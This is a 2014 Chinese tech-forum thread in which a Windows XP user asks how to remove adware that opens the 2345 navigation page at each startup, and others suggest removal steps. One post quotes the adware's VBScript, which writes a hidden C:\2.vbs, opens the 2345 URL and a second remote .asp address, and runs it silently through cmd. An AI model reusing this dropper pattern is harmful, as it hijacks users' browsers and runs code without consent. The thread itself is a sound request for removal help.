无忧启动论坛

标题: 求助：XP系统开机自动打开2345网址导航如何去除？ [打印本页]

作者: huyadong 时间: 2014-4-9 14:16
标题: 求助：XP系统开机自动打开2345网址导航如何去除？
本帖最后由 huyadong 于 2014-4-9 14:44 编辑

每次电脑开机IE浏览器都会自动打开一个2345网址导航：http://www.2345.com/?k30155358，IE主页并没有锁定。

1.排查发现C盘出现两个.vbs文件，一个是2.vbs在C盘根目录，一个是C:\Program Files\360启动修复.vbs，这两个vbs文件都包含上述网址，可是删除这两个文件后开机问题依旧。
2.用DG清除MBR后重启问题依旧。
3.编辑注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run开机启动项也删除上述导航网址，重启问题依旧，删除的东西又出来了。
4.安装百度卫士、金山卫士、金山急救箱都没找出问题根源，因此在这里向大家求助，希望wuyou高手能出手帮助解决，非常感谢！

开机启动.JPG (127.75 KB, 下载次数: 51)

作者: huyadong 时间: 2014-4-9 15:01
本帖最后由 huyadong 于 2014-4-9 15:09 编辑

上述两个vbs文件删除两次后没再自动生成，删除前代码内容没复制，刚百度了一下，代码内容大致如下，好像只是sleep时间不同：
Wscript.Sleep 50000
dim Wsh
Set Wsh=WScript.CreateObject("WScript.Shell")
On error Resume Next
set fso = createobject("scripting.filesystemobject")
set file=fso.createtextfile( "C:\2.vbs",2,ture)
file.writeline "Wscript.Sleep 100000"
file.writeline "dim Wsh"
file.writeline "Set Wsh=WScript.CreateObject(""WScript.Shell"") "
file.writeline "On error Resume Next"
file.writeline "Wsh.Run ""http://www.2345.com/?k30155358"""
file.writeline "Wscript.Sleep 360000"
file.writeline "Wsh.Run ""http://abac.bb1d.com/1.asp"""
file.close
CreateObject("WScript.Shell").Run "cmd /c C:\2.vbs",0

作者: tel18691071747 时间: 2014-4-9 21:24

换系统。汗~~~~ 2345 推广的也太流弊了？

作者: m68 时间: 2014-5-1 23:44
据说把IE卸载，清除上述脚本，再注册表清理一下。重新安置IE，OK。

作者: 千树叶子 时间: 2014-5-2 00:22
流氓软件，建议装纯净版系统，或者自己封装一个，根据自己的喜好

作者: 百度科技 时间: 2014-5-3 15:48
2345使用的这些手段太。。。。。。

作者: 2010羊羊 时间: 2014-5-3 22:54
整个注册表搜索http://www.2345.com看看能找到,或搜索http:/看是否异常?最近我的ie也不正常,常被hao123的缠着.

作者: 2010羊羊 时间: 2014-5-3 23:00
看样子用过360的会被2345缠着,用过金山的会被hao123缠着,中国式流氓

作者: 田野风光 时间: 2014-5-4 14:24
现在很多都这样一不小心就缠上了流氓软件

作者: lb30103 时间: 2014-5-5 01:20
整个注册表搜索 2345 把见到的全删了,说错了可不负责

欢迎光临无忧启动论坛 (http://bbs.wuyou.net/)